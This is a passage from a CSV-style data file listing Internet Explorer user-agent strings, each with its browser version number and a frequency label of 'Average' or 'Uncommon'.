SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),11,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALCJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; NP08; MAAU; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 1520) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 520) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MASMJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MALCJS),10,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MAGW; .NET4.0C; BRI/2),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; BRI/1; .NET4.0C; AskTbARS/5.15.4.23821; playbrytetoolbar_Playbryte),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727),7,Average\nMozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320),3,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0; Swinburne),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QS 4.2.4.0; QS 5.3.0.4; BTRS125127; GTB7.5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; QS 4.2.4.0; QS 5.3.0.4; AskTbWBV5/5.15.12.33066),7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATP),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; BOIE9;ENUS),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2),7,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; managedpc),9,Average\nMozilla/5.0 (MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MDDSJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI/2; EIE10;ENUSWOL),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0),5,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 1.1.4322; Alexa Toolbar),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; BRI/1; BOIE8;ENUSMSCOM),8,Average\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt),5,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; InfoPath.1; Hotbar 11.0.78.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SIMBAR={095C1133-8F49-11E2-AD42-002564DB24C8}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; InfoPath.2; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; InfoPath.2),9,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 1.0.3705),6,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts; BOIE9;ENUS),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MALNJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows; Windows NT 5.1) BrokenLinkCheck.com/1.1,7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MAMD),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0),11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENCA; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; SRS_IT_E8790575B2765C5133A096; BRI/1; AskTbAD3/5.15.15.35882),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; IE0006_ver1;EN_US),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={AA7ADC59-9680-11E2-BEBD-0024E803E99D}; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/1; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 5.5; Windows 95; BCD2000),5.5,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Deepnet Explorer),6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; AskTbORJ/5.15.25.36191; .NET4.0E; EIE10;ENUSWOL),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC/5.14.1.20007; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcIA),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; FunWebProducts),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8/0.9.6,6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0),11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENCAMSN; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; FunWebProducts; GTB7.5; chromeframe/32.0.1700.107; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;,9,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Zune 4.7),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MALN),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MATBJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; managedpc; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; LCJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/1; IE0006_ver1;EN_US),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT) ::ELNSB50::000061100320025802a00111000000000507000900000000,6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1),8,Uncommon\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US),8,Uncommon\n\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); MRSPUTNIK 1, 5, 0, 19 SW)\",6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; MANMJS),11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; NMTE; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US,9,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.0; WOW64; Trident/6.1),10,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENUSMSE),10,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASBJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3),,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 530) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0),6,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATP; MATP; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MDDSJS),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MASP; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows XP),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; BRI/2; MALNJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0),11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; MDDCJS),10,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:QUALIFIED),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko,gzip(gfe)\",11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASJB; ASJB; MAAU; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI/1),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;DEDE),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE11;ENGBWOL; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={2FBE5593-D26F-11E1-8A9B-0016416E2C54}; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbORJ/5.15.23.36191),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC/5.14.1.20007; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; WinTSI 07.11.2009; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; .NET CLR 2.0.50727; CIBA),6,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MDDSJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),9,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0; i-Macros-Web-Automation) like Gecko,11,Uncommon\nMozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ENGBWOL),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; AS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; 